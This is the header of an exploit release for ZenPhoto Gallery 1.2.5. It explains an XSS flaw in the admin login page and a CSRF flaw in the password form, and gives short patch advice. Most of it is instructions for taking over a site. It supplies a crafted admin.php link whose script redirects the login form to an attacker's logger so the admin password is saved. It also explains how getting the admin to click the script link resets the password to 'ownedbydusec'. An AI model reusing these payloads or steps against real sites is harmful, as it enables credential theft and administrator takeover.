# Zen Photo Adminstrator Password Steal/Reset Exploit #
#+================================================================+#
# Discovered and coded by petros [at] dusecurity.com #
#+----------------------------------------------------------------+#
# Affects: ZenPhoto Gallery 1.2.5 #
#+----------------------------------------------------------------+#
# Zenphoto is an answer to lots of calls for an online #
# gallery solution that just makes sense. After years of #
# bloated software that does everything and your dishes, #
# zenphoto just shows your photos, simply. It’s got all the #
# functionality and “features” you need, and nothing you don’t. #
# Where the old guys put in a bunch of modules and junk, we put #
# a lot of thought. We hope you agree with our philosopy: #
# simpler is better. Don’t get us wrong though –zenphoto really #
# does have everything you need for your online gallery. #
#+================================================================+#
# Exploit Explaination #
#+================================================================+#
# #
# This exploit actually advantage of two vulnerabilities. #
# The first exploit is a simple XSS in the admin login page #
# that will allow us to log the admins password. Unfortunatly, #
# it only executes if the admin is NOT already logged in. #
# The second is a CRSF exploit that allows you to change the #
# admins password by automatically submitting a form. #
# This exploit only works if the admin already logged in. #
# Combine these and we have two ways to gain admin access #
# #
#+--------------------------------------------------------------=-+#
# How to patch/prevent these vulnernabilities #
#+--------------------------------------------------------------=-+#
# #
# The XSS in the zp-core/admin.php page can be patched by #
# santizing the $_GET['from'] variable before outputting it #
# #
# The CRSF requires either some form of referal checking or #
# hidden security token on all forms (the latter would be better #
# #
#+----------------------------------------------------------------+#
# How to use this exploit to take over a ZenPhoto website #
#+----------------------------------------------------------------+#
# #
# To use the XSS logger make the admin click this link: #
# #
#+--[code snippet - put this all in one line]--+ #
# http://victimsite.com/zp-core/admin.php?from="><script> #
# document.forms[0].action="[logged url]"; #
# </script><div id="lolpwnt #
#+--[ end of code snippet]--+ #
# #
# Replace [logger url] with the link to this PHP script #
# Make sure your log.txt is writable before doing this #
# On login the admins password will be saved to the file. #
# #
# The next exploit is used by simply giving the link to #
# this script to the admin. if he clicks it his password #
# will be changed automatically to "ownedbydusec" #
# #
# That's about it :) Enjoy! #
